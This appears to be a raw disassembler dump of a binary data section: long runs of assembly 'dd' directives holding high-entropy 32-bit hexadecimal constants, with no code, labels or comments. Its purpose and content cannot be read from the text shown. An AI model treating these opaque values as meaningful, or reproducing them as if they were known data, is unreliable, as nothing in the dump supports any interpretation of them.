		dd 9E5D27B7h, 82175A8Bh, 9CDE0170h, 3E685740h, 2FBFAD6Ch
		dd 0B00060D6h, 0E9710E70h, 4F0C6267h, 9308332Ah, 0FC767200h
		dd 0E2172D44h, 0A1034EDFh, 0AE0704ECh, 0C14BD50h, 3E5226E9h
		dd 9DFC9859h, 0FEDBA285h, 0A89A49E2h, 176F82C0h, 0DED841E9h
		dd 3A42C5E9h, 2B060DF3h, 0C73DD41h, 173E5CE8h, 5BEE1D55h
		dd 0E926FD41h, 0D32ED7AFh, 0C2999D3Ch, 0FA6C70CDh, 0E797F6Ch
		dd 0CC0E4BF6h, 4B409FD5h, 7085FC47h, 94759D82h,	0C9C20463h
		dd 0FA0D1A68h, 80418F1h, 0F6AEB9C5h, 8ED684E6h,	0E46E57EBh
		dd 0F201EBC9h, 0E93D37C9h, 0B8517EB8h, 1053272h, 0E724313Dh
		dd 0A5BD473h, 5008F424h, 0D7CEC91Dh, 3B50D222h,	29E909EFh
		dd 0CD985733h, 0D62C425Dh, 1E312516h, 56B06F3h,	4580CABh
		dd 0C02ABD13h, 2E95BE4h
		dd 770DE2B5h, 9516B74h,	0EFB6137Eh, 481CD4D0h, 0E7414E33h
		dd 0C7E21819h, 0EECC046h, 8AC48006h, 0F6EECC61h, 0A1085DCh
		dd 0ABA83FE9h, 22F94Ah,	4F5B1CEAh, 91D601E3h, 0AC0964E1h
		dd 4D5A7AA7h, 0AD7CA30h, 495B24F8h, 8801121Eh, 0AC813129h
		dd 9771CAD8h, 0F595CA1Ch, 0E91A46B6h, 0FFA6AF8Eh, 6806BC71h
		dd 6C671E61h, 5E7C8F77h, 1BBE7A1Eh, 33E8E8D6h, 0D38FA5Fh
		dd 40314181h, 0A3DFF0B9h, 0F527D879h, 254A225Eh, 0B5EB2276h
		dd 0EB7970FDh, 216B1097h, 2A5AD8D7h, 0C56454EFh, 76A277Ah
		dd 0BBCD97Ah, 28541988h, 595E9F39h, 0F1FA0C34h,	6133F965h
		dd 0EF492A3Fh, 92977551h, 68A468A5h, 0CC2E53DBh, 0E1ACE916h
		dd 0DFEFFDCCh, 0BE5671B2h, 821E55E9h, 18FDE913h, 533D99A3h
		dd 143F9318h, 2C3CDB34h, 0FFA8B5D4h, 3EA3E2BFh,	0EBE615D6h
		dd 0B2AB93BFh, 31471877h, 18A6F289h, 0C78D975h,	0D524262Ah
		dd 0DE024439h, 0FD2ECE33h, 0F0075B0Eh, 54EFC0D8h, 4B5BFC29h
		dd 840B5BDh, 0C0A02EE9h, 0F445A031h, 0D1375F1Ch, 522C2E58h
		dd 5643C1E7h, 630656F9h, 0EC907895h, 0F6D6C2E1h, 53F5E600h
		dd 3DC0BDB7h, 0C78904E7h, 218964E9h, 2D5E7BD5h,	179C6D4h
		dd 1456EF14h, 810F6BFCh, 7ACF3F1h, 754183A4h, 0F65A0478h
		dd 2DB7D265h, 0F431FE5Fh, 0E16C33E9h, 784F6809h, 5064CBD6h
		dd 0BCC6FAC1h, 0A966272Bh, 5F46B285h, 0E82687DFh, 0A88AA53Bh
		dd 0A3126EEh, 521FFE25h, 60B77D3h, 0AEDCF984h, 95DA8913h
		dd 0C67F69DFh, 0A04A0D38h, 2403B130h, 0D7BA7FFDh, 0E9C3B8A3h
		dd 0EAB9696h, 4FE5A804h, 1449ABC5h, 5375417Bh, 0A2F4EC2Ah
		dd 571F0C9h, 0F05247BEh, 438DC36Fh, 9050D3Dh, 0F50DF203h
		dd 12074F08h, 9230A25Eh, 404D52F4h, 52B52D37h, 7E5748A9h
		dd 5EF99B16h, 81681409h, 1640FDC4h, 5E7E0E0h, 0C174CF4Ah
		dd 0C0961CE3h, 184C30A4h, 0C6B4A5E9h, 0F8CCF02Fh, 4AEA94DAh
		dd 0B7980C13h, 0CD985E10h, 735DC2F3h, 4E7527B9h, 4BE9127Ch
		dd 879C966h, 2A9E2DC0h,	58B5D1Dh, 0FFB07735h, 71B577EEh
		dd 6A80DADFh, 12481A5Dh, 0A9E95209h, 0E41F27Eh,	4F04AAEEh
		dd 404B532h, 5084BF08h,	0B9CF6AAh, 0DE557EE9h, 0E8579239h
		dd 46EAA5F8h, 844FEC3h,	0ED805905h, 5EF30E5h, 4562A34Eh
		dd 873B117h, 5A00CC83h,	0F6DEE180h, 0B0501FD9h,	0B9C78A4Eh
		dd 216B80E9h, 510D3D4Ch, 531D721Eh, 25787982h, 0B570DF36h
		dd 2098CD5Ch, 48A9861h,	0E37B99EFh, 0D5F5EBF7h,	9B56E720h
		dd 0BD2AB07Ch, 2612EE5Ch, 1A04D729h, 71FE8DAh, 2F64747Fh
		dd 0D3D63D45h, 0FEF1ED8Dh, 37A941C5h, 1F286958h, 34135E9Ch
		dd 684C1F1Fh, 28EFEF50h, 25415857h, 0EC7F644Bh,	73532003h
		dd 0B535448h, 0F61C02BFh, 531212E3h, 0E2D5ABA9h, 77B058A8h
		dd 1E30387Dh, 5E085201h, 0E32BFB8Bh, 0F0E985D5h, 9C537FB0h
		dd 425C49F4h, 0D42DD30Bh, 7B35708Eh, 5F6BDF83h,	50D9A3C3h
		dd 528C7F34h, 9D67281Dh, 3B012CDEh, 0AE7E525Ah,	2B300CCDh
		dd 4A75D799h, 82B4FC26h, 4BBA8435h, 243ECFFEh, 318B8740h
		dd 74105FCBh, 6812FBBFh, 0B5E02D3Fh, 0E8B4414Ch, 199716AAh
		dd 57E2F1B4h, 8BDD78B2h, 0C254FC9Bh, 750983D9h,	5F88CEDBh
		dd 29022F92h, 0BEA41h, 8BA523Ah, 35953E14h, 280911A7h
		dd 9311807Dh, 0A1B9B896h, 0D2793096h, 545FF4DAh, 0DC815C72h
		dd 12B82E9Fh, 0C83E4385h, 5D1F5C85h, 20654D52h,	341E9009h
		dd 7E2EC6Ah, 291409D7h,	62CC6CC1h, 65CE8B95h, 3944252Eh
		dd 0B9736921h, 0AFD3E1A7h, 67185300h, 17CB814Bh, 0BCC35406h
		dd 0F0FE7412h, 0FB095612h, 0D4806009h, 0B850407Ch, 4012458Bh
		dd 86095576h, 5420182Eh, 9422C159h, 2A741A07h, 8617CBCh
		dd 7E95DDF7h, 0D0FA5EE1h, 0B1B83A17h, 87285FF8h, 8FEAD2B8h
		dd 3FE2BCBh, 7C9C0C98h,	215F802Dh, 6938045Eh, 2D826A4Eh
		dd 22E1A62Ah, 18BF0472h, 4D541C13h, 0E54C6426h,	750D561Ah
		dd 0B5A7D76h, 18A1FDB7h, 2484DBE9h, 0E0FBC10Dh,	0E63B3D95h
		dd 190B7830h, 0DC2C5648h, 0A1FF5B31h, 2EBCE5E9h, 3E300C89h
		dd 665695ABh, 0A8E48069h, 3C413D3Eh, 0A172EF29h, 0C285D08h
		dd 158AFBF5h, 525BD809h, 64058498h, 1B075D02h, 892DD029h
		dd 0F7FB5507h, 77E20BA6h, 7F820974h, 7245856Eh,	2129492Ah
		dd 530425D0h, 18805B54h, 1D3F1706h, 0A521E94Dh,	3501CF59h
		dd 0DD116BA9h, 0B9ECEF45h, 92C0C7B1h, 42B5C16Fh, 25A9F27Eh
		dd 417F615h, 0B2B5DCE9h, 689475CDh, 2EF09289h, 0EA2AA324h
		dd 7BD4D146h, 0FAF15592h, 755F7F09h, 0FA2C6BD0h, 0BC40EE2Bh
		dd 9767A760h, 0A7488BDCh, 348B600h, 492FE962h, 0FE1C4672h
		dd 0BD461210h, 5E150B3Eh, 0E68C8026h, 5B3A1BA0h, 39E9BC55h
		dd 9B63AD68h, 0C5DD804Bh, 132698AEh, 0A0520760h, 6D04FEE2h
		dd 0D6297CF6h, 0C680810h, 65E91F14h, 4BF217Ch, 0A16675CEh
		dd 0FE201AE1h, 65805C23h, 717F5BC9h, 6C56B4Ch, 43B6BB81h
		dd 0BF3B0C7Bh, 8FA1309h, 5F170B83h, 9EBAA7D5h, 6CE9095Bh
		dd 9B27A27h, 1D0A0966h,	1485F05Fh, 0E1710BC5h, 2137EB16h
		dd 2B910C59h, 148628BEh, 1E32608Bh, 0F028A504h,	3E5E59F2h
		dd 788E36D0h, 7D89F2FAh, 499630F9h, 641AF51Bh, 0C2BD7B73h
		dd 826FDE7Eh, 1EFA27BDh, 3508AC83h, 0F2DE448Ah,	2E149807h
		dd 0BECDA15Fh, 0D2318813h, 31BFF4C3h, 0A53F84D6h, 0A5D6F1EDh
		dd 0F7FA7DD6h, 3952D483h, 8BBF9E0Bh, 29278215h,	0C34841F8h
		dd 2D68BCFDh, 0E1515927h, 33447F49h, 48B1DA7Ch,	60B5825h
		dd 6E3961DDh, 50281101h, 0A3900A68h, 0BDB6AD20h, 3A2021D0h
		dd 8692CF36h, 0F321B039h, 6848657Bh, 5BBF703Ch,	32CA82E1h
		dd 826125D5h, 0C20640C6h, 0EE3D71D2h, 76B5A443h, 0A0CE479Ah
		dd 0E066BB55h, 29F92598h, 283B2B71h, 0A05BAC8h,	5083A49h
		dd 27CDC8AFh, 88AF9B4Ah, 0F6255C5Bh, 89CF71E1h,	9EDF6931h
		dd 295A2041h, 16C10539h, 262161E6h, 0CC3F0E87h,	0D14F245h
		dd 5F082176h, 8540CFB9h, 59A0BF86h, 543D5A2Dh, 9E01C9ECh
		dd 68124232h, 6386CC6h,	0DB701C1h, 95F07BD8h, 581FC982h
		dd 7474C677h, 5154BA90h, 0FC3F9DF2h, 10C6B98h, 5E76DE27h
		dd 0CE39E36Fh, 4EB789E9h, 37DF3035h, 7975C2ADh,	9B6F312Eh
		dd 68818E2Ch, 6B4F3DEAh, 7AC6B171h, 20981EA3h, 990F8BD9h
		dd 9E6BECD5h, 6A5CF103h, 34CDD9D1h, 59CE2100h, 7E6C113h
		dd 84A2810Fh, 0B780778Ch, 16880FFCh, 0E0AFE901h, 0B0EC5178h
		dd 645C0DC9h, 0D162D85h, 0D6B552CCh, 58C662D6h,	2225E2E5h
		dd 981E6BDh, 981EF7Fh, 0DF2067E9h, 5A4C7B35h, 9FE87C4Eh
		dd 0AA280D12h, 1B42F22Dh, 0CDA482Fh, 1DD23D1Bh,	0AF7D8B12h
		dd 2D302CA5h, 914B1310h, 7CF7B01Ah, 4141784Fh, 7EDA17FEh
		dd 18912620h, 0C0DBF53h, 26170C77h, 0F70E4910h,	7C6CA174h
		dd 0E900F109h, 694850E0h, 93CA3BCDh, 6C27C906h,	354A0E01h
		dd 705A5DF6h, 586EC249h, 2F764820h, 17015CFBh, 6ABFF126h
		dd 82A41CACh, 67D53300h, 32C5271Dh, 5DCBE906h, 0B9C25A85h
		dd 4E2E480Ch, 12CD5C0h,	3E83DC0h, 70C1B12Fh, 16432C64h
		dd 0F2B72790h, 6F1C04Ah, 3A7D6618h, 6734E305h, 88002E9Eh
		dd 1DF76F7h, 0EA539546h, 6BFB043Bh, 0F6A1EFA6h,	0E3031D6Ch
		dd 27F506AAh, 20FCC3B0h, 8E3A7624h, 5FDF321Ah, 94CAD96h
		dd 0E2C14ECBh, 0F3FED568h
		dd 5F4A00BDh, 0B6BE134Eh, 5060C470h, 9E42E080h,	0AB74B76Eh
		dd 5B600820h, 0D84D101Eh, 99314A47h, 793B61FCh,	0DC815088h
		dd 2D5C141h, 0C5088E50h, 0B3531758h, 420FB94h, 2671AFB9h
		dd 3404C0Ch, 35453E7Fh,	1A6B0C07h, 0E1C11070h, 23C46520h
		dd 0A0E92D41h, 9C29EA0Bh, 6916D1D7h, 0DA0F2AFFh, 84C60318h
		dd 0FCDA907Ah, 0EB6A58E3h, 840BC81h, 40FB3A07h,	0EE38F270h
		dd 69B2297Ah, 3B6D4120h, 335A5368h, 8DFA3C75h, 0E130EDC8h
		dd 8852580Eh, 71F749CEh, 3DBA09BDh, 2935A7Dh, 437B79E7h
		dd 9E40503Eh, 4A0101ECh, 7F21B823h, 0C02F2AC1h,	56920DD0h
		dd 2D25C900h, 32127E73h, 5AA80505h, 0BE215875h,	0F7D87C2Dh
		dd 289EE067h, 25835630h, 0FE435B6h, 29407EF0h, 0BF02B559h
		dd 0D60B413Bh, 91E4A75Ch, 9D433020h, 0E134AA58h, 0AEC10E17h
		dd 5005006h, 591D08D6h,	0E4844053h, 0B8AE19A0h,	0CF011713h
		dd 515D5D01h, 63743AB1h, 7AE6275Eh, 1C566D6h, 160954A0h
		dd 8B5559CBh, 278A1CBCh, 59BAD527h, 97752518h, 0A8BA6082h
		dd 3DE12577h, 0A42FA278h, 41FBF321h, 7A75F9E9h,	0A059DFDCh
		dd 0C964AF2Ch, 21F5EB3Fh, 282568DBh, 0F5C67F78h, 0F305274Dh
		dd 0A1439D10h, 0A0A707D6h, 0CB2FFC89h, 6977ED25h, 263CB043h
		dd 92CF4C7Bh, 83728014h, 5225BAB0h, 27FC9F5Eh, 516FA307h
		dd 4BE26023h, 6C0D8021h, 64DEA87h, 206FE57Eh, 1B029A63h
		dd 0B8E94923h, 6A77094Fh, 8E2EFDBEh, 0C36A061h,	52CAD87Dh
		dd 63F43218h, 274F3818h, 7670954Dh, 16DA8927h, 0B2C50125h
		dd 1432A28h, 8DEA0D5h, 58B3749Fh, 0CC01DDBh, 1C074BBAh
		dd 0C3BE0572h, 0E0B6EFF8h, 0B4D3EE9h, 0BA5201E0h, 30A95A40h
		dd 937CA2F1h, 0AB5B5413h, 985F7D9Bh, 6F3A68BEh,	24D24E74h
		dd 0EEE6DD6Bh, 6032C995h, 0C6D325C7h, 0E2F61172h, 0F820E04Eh
		dd 9542CD68h, 0DC2FF746h, 0DFE0CA84h, 0C3694C2Fh, 73145E1h
		dd 69511582h, 92E3BC77h, 3DC9C10Bh, 2BA2C92Ah, 0C28C00BAh
		dd 22283AE5h, 2A320CC0h, 38E9FEF7h, 0AA5B342Ch,	0B0684F3Ch
		dd 60B19EA7h, 214F03F7h, 0C5587FAh, 5D5A2B0Dh, 0FEA1610Ch
		dd 0A6BD9D81h, 0E8156616h, 99B5B938h, 0A53F6A5Bh, 91853B49h
		dd 0C80D0439h, 4AF18004h, 0C9603C88h, 2C8B5D04h, 0EEA5C8A9h
		dd 284B90F6h, 0E97557E3h, 59CACA5Dh, 0C1C90124h, 4933A826h
		dd 0D4103369h, 1724C4Fh, 0D6D669Fh, 352EDA31h, 329360D7h
		dd 3FFFD587h, 2610A2B0h, 15A18FDh, 355360F7h, 23C14101h
		dd 0F0280175h, 0C444ED31h, 88D2A4h, 0C12C4835h,	685602EFh
		dd 187D4B25h, 20459A0h,	23BE6A87h, 0AE63399Eh, 0AEBD565Bh
		dd 1EE2BD5Bh, 7D27236Bh, 0D09DA1CCh, 0EEE85F75h, 0C9908B62h
		dd 0BEFC5940h, 91399C54h, 0C5B32C8h, 0CBB1002Bh, 80019DB7h
		dd 0CFFED6F7h, 8BCD7F6h, 0C69E797h, 0B82AD1D9h,	0E816040Bh
		dd 0E2350874h, 1459E08h, 0A0136855h, 3BB321D0h,	0A7E666FAh
		dd 8C47912Ah, 14F0E23Bh, 4CB30A16h, 2D047985h, 0FF33AEE9h
		dd 0F440F9FAh, 0E28581FDh, 0B427FC70h, 69CCA0BFh, 5C8EC52h
		dd 444B4947h, 0CAC18A87h, 0B76F68D5h, 1A13147Bh, 0DAD0D1h
		dd 3EAB0A14h, 4FB5E95Eh, 9E60B948h, 556D0889h, 660BFB9Ch
		dd 0F61A73B9h, 34F0F37h, 7D8DEC32h, 1F41554Ch, 5DCF39B2h
		dd 4EBFA257h, 55F87564h, 3E7C102h, 0FF5B9FE9h, 0EA7657C4h
		dd 2C044D1Fh, 44C25452h, 0C4835766h, 0E3A3D4F6h, 0DC7658C2h
		dd 69CE8007h, 0CAAAC3Fh, 0D2E913DEh, 0F96DF44Fh, 22EF5608h
		dd 80FC2729h, 2112DD00h, 9779E975h, 0D8ED1823h,	505601D8h
		dd 0F1D2A7F8h, 91FBCED4h, 56EDDD1h, 493800BCh, 4D1920FAh
		dd 77E6892Ch, 79C1F516h, 0B27B315Eh, 5E55C978h,	32DD25C2h
		dd 5A27FF8h, 0F8D95C37h, 8384F7C9h, 5A9801Ch, 0E427F506h
		dd 2ACC556Ah, 75523ABCh, 6F472582h, 4C587F09h, 0EA5D9505h
		dd 0ABE65964h, 5C21A710h, 82C33CC0h, 13BE844h, 35CB5AD8h
		dd 80F5ABCAh, 0BE75BFDAh, 774BB92Dh, 26DA6029h,	2A22F334h
		dd 0E588EDEBh, 57F86A99h, 0E660B68h, 46026A88h,	0F1FD906Bh
		dd 821C9006h, 54597268h, 0B1107BB5h, 800E763Bh,	0F56132E5h
		dd 0C18DB64Ch, 0E4B06EEEh, 5ADE98EBh, 3023C92Bh, 1040CDD9h
		dd 45D7A05Bh, 0F82C713Eh, 0A6A25413h, 0C67995F9h, 68C5DF25h
		dd 6965576Bh, 0E051D81Bh, 0B8B92CC2h, 0CEB2BFh,	0E00B2EB8h
		dd 5D0F725h, 664BD607h,	9B312D73h, 913A5D53h, 49F70836h
		dd 0C4C7F3DCh, 4039BA1Dh, 2ED11B60h, 1A50563h, 0CD1849F5h
		dd 0EB832047h, 20606D0Eh, 5B2DB601h, 0AD9DF46Ah, 44680D0Ch
		dd 24A30E59h, 89C2D17h,	702F0FA1h, 0B2EA171Bh, 0F6B604C0h
		dd 41ECBDAh, 65E97FB5h,	195245BFh, 0E2ED6759h, 680263B4h
		dd 0F42BD8C5h, 8D316BC0h, 5E9F2878h, 565A0996h,	787783C2h
		dd 0F5669040h, 161AE22Eh, 0BBD187h, 212C7661h, 344B682Eh
		dd 3981EBADh, 5A7967h, 1262CE35h, 0AF4023C5h, 0B05AE4A2h
		dd 3AFD3442h, 9F2B63Ch,	720D2D3Fh, 56E102F7h, 6F0F5C54h
		dd 3DEADE2Bh, 0AD1FD97Fh, 0AC42A17Ch, 4D99FFADh, 4E6338B6h
		dd 8E148AAEh, 563C9AF3h, 0DCF05A35h, 0B2754100h, 74E4056Ah
		dd 927F286Ch, 18E38192h, 7E2AA17Ah, 33D42AA7h, 0BFB64013h
		dd 2C687828h, 0C05A2090h, 619C722Bh, 0EA0B8EB0h, 0DF62CD19h
		dd 30522A83h, 1A060DABh, 104A749Ah, 781A1618h, 5607EE37h
		dd 82A9B82Eh, 5C141D05h, 69E2C2B4h, 8D899B59h, 4B841145h
		dd 0FB48023Ch, 0EE570F16h, 556FAF04h, 3F91CAEAh, 0ED534F43h
		dd 3A10AFA2h, 31007A61h, 4177214Ah, 189DF181h, 0C297C62h
		dd 63064A5h, 4C0F1B6Ah,	0B1344A5Bh, 49D838ADh, 49F3C8F6h
		dd 6FE5C5D8h, 3240EFF1h, 61334458h, 0BDFF657h, 8780FA8Dh
		dd 0FA59C78Bh, 8BAF014Bh, 2AAA165Fh, 5EA4D45h, 0FAFA2C4h
		dd 60D0DB65h, 2A745082h, 0A083B82Dh, 467C402h, 9BE962B4h
		dd 37DFDADh, 270643AFh,	8958B950h, 0C2402F67h, 7F2E411Ch
		dd 0CD885273h, 5C9620AFh, 35F8E4Ah, 0DF3541FAh,	7694939h
		dd 8E14351h, 5D246800h,	7D0C3760h, 0BD29ADD4h, 1D672FF0h
		dd 9864AC53h, 0BD3DFBA8h, 70B5029Fh, 0FCD25C30h, 82AA2D4Fh
		dd 0EEA5CF60h, 0AC01AB58h, 30DC3E7Dh, 712A8083h, 1A035BB3h
		dd 0EA0A9FF5h, 0CC263B53h, 7A98A628h, 30BB80FEh, 7F654D07h
		dd 0E5C5D989h, 0DD81B64Ah, 0EE7CA200h, 24478F0Dh, 201A5320h
		dd 795BEC0Ah, 90557B59h, 441C2FA7h, 0DA70B377h,	27545005h
		dd 18D4F020h, 62DF6858h, 23392D2Fh, 2DD8B155h, 0EBF51447h
		dd 39EFC717h, 3F68FDE1h, 0FBF39644h, 2511A0AFh,	923AEE96h
		dd 88A41DB0h, 850C39C8h, 6D52C04Fh, 0D29547C2h,	1225F25Fh
		dd 0C9DC9B3h, 917D3F17h, 0D3293FC5h, 5C878201h,	0A3F470D0h
		dd 1A7597B4h, 3DA07634h, 8DB7724h, 2C93177Ah, 7B12A9A2h
		dd 7A61BB82h, 8D281DD7h, 3CF42DC0h, 2CFC665Ah, 0C6DD0F64h
		dd 0F6A3F1EBh, 29628454h, 408591FEh, 0E9E4857Eh, 6852801Eh
		dd 5A7C1B08h, 0FCE8A04Ch, 0B383E404h, 0A9FAD589h, 2C2E84FBh
		dd 0F1E3ECAAh, 8C7E6D05h, 0D2B7EF8Bh, 0C701054Bh, 4796A8E9h
		dd 0C78851B6h, 0ACF3553h, 0CF961FA3h, 7BC0452Bh, 5EEE585Ah
		dd 0FD5DEC55h, 0BE4A3477h, 700F7813h, 52C69200h, 2526AA01h
		dd 0B66019E9h, 73EE564Eh, 7EC914Bh, 40482FC4h, 1E21B8C3h
		dd 0F8294B39h, 5E084012h
		dd 0DF168B95h, 805196B0h, 0AAC04AD7h, 60621B1Dh, 0C1CDAC4Ah
		dd 0F7FAF341h, 0EB0D548h, 0C97E85EDh, 5F5F86Bh,	7E95140h
		dd 5FF06392h, 1EE0F55Fh, 0FBE35B4Dh, 3E47D520h,	0A00A4F42h
		dd 14F356Ah, 52ED054Bh,	30CD4CAh, 0E94B9805h, 0AD71B0D2h
		dd 25E5052h, 0F61BDD68h, 0E2D7CA03h, 0B9C4004Fh, 0B5274E1Eh
		dd 5F19D8E0h, 8F48DC26h, 0D668402h, 2E19C157h, 4A88A864h
		dd 164B8D7h, 1AC4805Ah,	4A39E128h, 0DD0FEE25h, 3086F5A3h
		dd 0A4DF59C3h, 0FE40BB05h, 7EBF7A58h, 0FA44BD5Bh, 10B5040Bh
		dd 0B54C7728h, 0D1B69880h, 0B0E7083h, 655468D0h, 41427732h
		dd 1C838290h, 1363A17h,	60088D50h, 577E2BE6h, 48358053h
		dd 135BD120h, 4B04D41h,	0FD3B087Dh, 5A523DE4h, 0F0008BA5h
		dd 19050C5h, 3C0595D3h,	7B653E0Dh, 701BBB1h, 0B35CCE9h
		dd 2778E578h, 576412B1h, 281B7C20h, 0AAF5DF29h,	0CFD95DC6h
		dd 0DEEF894Fh, 0D4A7BB14h, 0D5F63683h, 7D20E8F1h, 5C7E0754h
		dd 17B37337h, 68161346h, 0A46D877Ch, 0C4D9FB99h, 0B23B93E5h
		dd 0DDE125D9h, 0D2AF09E3h, 0EFA94055h, 501478D5h, 4CC5F066h
		dd 0DE26E1A9h, 0EA92BCB1h, 0AE87BAFAh, 0E7085956h, 1CBCE2C1h
		dd 8F42E04Ah, 6B5DFE1h,	9D3F28A5h, 0BD293009h, 0E7D70073h
		dd 4F9022F5h, 1D50ED1Ah, 43645958h, 0B545EF1Ch,	85BFF90Ch
		dd 8711C7D6h, 0B844E55Dh, 5C5ADF78h, 76094210h,	0EE7E3C82h
		dd 0DD3C5F36h, 0FDDDEC9Ch, 0DB2816D3h, 191A6BAFh, 1E4A95FFh
		dd 92F9E5C3h, 0CBFA5292h, 65FB4ADEh, 0EFCEFE8Eh, 0CC63AD17h
		dd 1A75BB60h, 0BF60F000h, 2E4A1D96h, 5BDF2631h,	9140B39h
		dd 0AB4D29C0h, 0F1735194h, 1C878DC0h, 4B20BEh, 5EF30928h
		dd 590981B0h, 0DF687A4Ch, 98641E81h, 6B7D6016h,	42F24514h
		dd 77FA05BFh, 7FAD694Ch, 0F35A0840h, 3BBE17Ah, 6D8AE917h
		dd 0FD826B74h, 4248DF25h, 415ADD76h, 24308C3Dh,	57A5F8BAh
		dd 0F17CE63h, 0A78460E9h, 38E2C85h, 84C7800Eh, 0E9BDEF60h
		dd 24B78A11h, 8F81C8D2h, 280097C4h, 30F080C1h, 0F13F5874h
		dd 0FA92564h, 0E5EAC9C1h, 0E2800443h, 176081A6h, 6AAE2088h
		dd 0E4006E41h, 2640BFCEh, 2243314h, 0B312F67h, 0E682F8FDh
		dd 655B1E21h, 0E9CA4232h, 98F75670h, 2C359B98h,	0C551B2h
		dd 6847421h, 0E912FD31h, 76EEA41Bh, 0FE0A50A2h,	0C67DBA75h
		dd 0F702923Fh, 45E59E05h, 9116FBA6h, 0BA72BA32h, 8AC50F33h
		dd 24B2FB52h, 0BB713902h, 1E415A23h, 440FB538h,	5B2C9BBCh
		dd 7EC9011Fh, 206B9F2Ah, 3A2DE33Fh, 0EF0975C0h,	0FB90107Fh
		dd 96B99D75h, 232AF968h, 0D5E90C5Fh, 12C627ABh,	173AF0h
		dd 454DEEDAh, 0E9134471h, 742D3B5h, 61F151D7h, 8D35282Fh
		dd 0A7E7F1DAh, 68122DD0h, 0A4CD08B7h, 54EDC501h, 2081A52Bh
		dd 0BA0B8CDh, 395EDCE9h, 0B950976Ch, 329D89AEh,	0A2D2F43Bh
		dd 0B9884877h, 7578094Ah, 9383D154h, 4F252761h,	0B059D6EBh
		dd 1B68C382h, 1CB6BFFh,	0A10FE913h, 1DF67B49h, 7031910h
		dd 0CB895952h, 1DB55A37h, 0F533E4BAh, 6A5DDDF9h, 310E17C0h
		dd 81574CFCh, 0E9E6CC5Bh, 0EDE1B24Fh, 0E860AC2Ah, 16BB2D68h
		dd 0F913F8C7h, 7551A709h, 5288B4D1h, 0C0449BAh,	0A0C0EC5Ah
		dd 0B46E7668h, 1732623Bh, 2E1F9EDDh, 69CB85A8h,	5D70D160h
		dd 5877210Ah, 0D325062Dh, 3B6F08DBh, 924E5F25h,	0AD95328Eh
		dd 0A67E4052h, 1A4D7ECh, 166B6088h, 53FA015Ch, 0AF0B7CBFh
		dd 4E73357Ch, 0C934D8B2h, 4C1A45F4h, 7C0ACDB8h,	0D4E967C2h
		dd 31AB146Ah, 4A36003h,	179F8A3Eh, 22A46616h, 0B28EF030h
		dd 707EB55Ch, 9D062EF0h, 20C16C13h, 0BE84C346h,	0E72B9F39h
		dd 68E15BB1h, 3846797Fh, 46E9C37Fh, 0EB31201h, 0BDEB4E17h
		dd 0BB0A8444h, 0E98037EDh, 0C966149Ah, 1F825F95h, 0F657E084h
		dd 0ACE2E08Eh, 324A1D7Eh, 83DB24EBh, 0BED86777h, 1AC14A2Eh
		dd 0FEBDDAC3h, 12A33C60h, 0B6E8853h, 64F7BADEh,	9C2A9E54h
		dd 0ACA9533Fh, 91EFC6B0h, 964D7BB3h, 0C8134FC4h, 725D287Dh
		dd 93C61398h, 0C452F2EAh, 21D50BDBh, 15CE0AFh, 985FC87Ch
		dd 0B164740Ah, 8EA0217h, 4107721h, 4A167410h, 5DEE810Ah
		dd 2F97D13Eh, 0EE4F35FCh, 84249D29h, 0DF793BD3h, 5747E913h
		dd 9212EAAAh, 5A2BF6FFh, 449549EAh, 3FC539AEh, 6B84B44Dh
		dd 1E464900h, 0B4EB8ABAh, 75B0A261h, 85FD86CAh,	80E87FF3h
		dd 35834038h, 702E1C8Ah, 0C2500BE1h, 25DEFB5Dh,	1004E328h
		dd 0EA305F89h, 955B4868h, 384BB87Bh, 0B95BDE9Eh, 263BA4B7h
		dd 1E3B091Bh, 9346497Ch, 685C2451h, 1118255Bh, 1595A958h
		dd 8ACAC3Ah, 2D03976Bh,	50B831AEh, 95DCD846h, 6ED1A486h
		dd 0D6C64825h, 5044ECF0h, 12976805h, 8EC26715h,	3C51FFF8h
		dd 80C31C6Ch, 24A055Ah,	0F9EE3264h, 15621BD4h, 23AEB127h
		dd 35F48C2Bh, 0F65F6760h, 0B8DA7388h, 4D669ADh,	330B2DD0h
		dd 0A4637244h, 28EE7D94h, 622C6842h, 2A6C0431h,	0E4279F7Ah
		dd 923775C7h, 0B3C057BFh, 2FF0307Bh, 0F028CBB7h, 0F7BEE940h
		dd 3125CB0h, 8B040E35h,	0C589DCB5h, 926BDEFh, 87D5F7h
		dd 0DF74F16Fh, 4D7A7FEBh, 0B612E8CDh, 0A1B400A3h, 0CEFEDEF6h
		dd 2C300ECEh, 4D88FEF5h, 67897611h, 5F9168D0h, 98B6572Dh
		dd 6C93D298h, 69D6BD00h, 581210Fh, 79083AF5h, 7DCCFF2Fh
		dd 0A5C441E2h, 7207D648h, 0B8D2C105h, 5FC7C67Fh, 0C059097Ch
		dd 5EFE02EBh, 0EB92C38Fh, 10E1E3FDh, 2A6073Ah, 0EA4284BAh
		dd 127D602Dh, 3AE3C6Ch,	0DA5180CBh, 0C74BBAE9h,	0ADCD90AEh
		dd 29024516h, 0AB6A67BDh, 7BAEFDA4h, 0C5436064h, 0DDC4FAB1h
		dd 0D39D88FAh, 724C2B78h, 503901E4h, 4AE977A3h,	0C126416Bh
		dd 2F063843h, 3F1764F0h, 19DBDC22h, 3B0806A3h, 0C712C1A6h
		dd 0D7F3BB4Eh, 9504513Bh, 0D95ED90Fh, 1DB27FFCh, 4799AC4Fh
		dd 10464814h, 40218DEh,	72B35363h, 6CC18E5Fh, 0F92CB8F8h
		dd 0CD7DA12Eh, 0E1DE2436h, 3A15D31Fh, 0C5CFC070h, 9829F2F3h
		dd 8AC324A5h, 0BCD953F7h, 4E169DAEh, 490CB68Ch,	0AD8296EFh
		dd 66548292h, 916F22Dh,	46DD0FFDh, 69DE5975h, 0F9E4C389h
		dd 0F1F5FA27h, 9FAF42F0h, 379E14FDh, 0DDA2595Bh, 1B4A8003h
		dd 1EE9C5Fh, 0C01096DAh, 0AEDC78F2h, 5851F58h, 192120C5h
		dd 5C508A05h, 6F44A3D9h, 1C43F1EBh, 0A927E958h,	5EFE95Ah
		dd 510E707h, 8900FB82h,	3E4DB951h, 0AE4550AFh, 0A440260Eh
		dd 7DEC09B8h, 0AC127B57h, 605DE980h, 9D5E535Ch,	31251414h
		dd 0C9447CF7h, 0F030B904h, 4E18BA93h, 0B8F10A60h, 7D7E2572h
		dd 0B0812175h, 0C2DE85C2h, 0CBF8578Fh, 0D4F9292Ch, 1C0BBB60h
		dd 21150D11h, 0F0C05BD9h, 0B5087Bh, 0AD8E5864h,	0CB291D41h
		dd 0E36056E9h, 625E127Eh, 2B7CB5AFh, 12D62BCh, 9F505089h
